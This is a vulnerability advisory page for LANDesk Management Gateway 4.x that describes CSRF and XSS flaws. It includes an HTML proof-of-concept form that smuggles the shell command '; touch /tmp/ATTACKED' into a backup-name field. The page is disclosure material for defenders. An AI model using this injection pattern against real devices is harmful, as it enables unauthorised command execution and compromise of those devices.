LANDesk Management Gateway 4.x Multiple Security Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

LANDesk Management Gateway 4.x Multiple Security Vulnerabilities. Cross-site request forgery and cross-site scripting vulnerabilities can lead to network-based attacks and compromise of affected devices


                                                source: http://www.securityfocus.com/bid/38119/info

LANDesk Management Gateway is prone to a cross-site request-forgery vulnerability and a cross-site scripting vulnerability.

An attacker can exploit the cross-site request forgery issue to alter the settings on affected devices. This may lead to further network-based attacks, including command-injection attacks to the device&#39;s underlying operating system, which can lead to a complete compromise of a vulnerable device.

The attacker can exploit the cross-site scripting issue to execute arbitrary script code in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials. Other attacks are also possible. 

&#60;html&#62; &#60;head&#62;&#60;title&#62;LANDesk PoC&#60;/title&#62;&#60;/head&#62; &#60;body&#62; &#60;form method=&#34;post&#34; action=&#34;https://www.example.com/gsb/datetime.php&#34;&#62; &#60;input type=&#34;text&#34; name=&#34;delBackupName&#34; value=&#34;; touch /tmp/ATTACKED&#34;&#62; &#60;input type=&#34;text&#34; name=&#34;backupRestoreFormSubmitted&#34; value=&#34;b&#34;&#62; &#60;input type=&#34;submit&#34; value=&#34;Attack!&#34;&#62; &#60;/form&#62; &#60;/body&#62; &#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1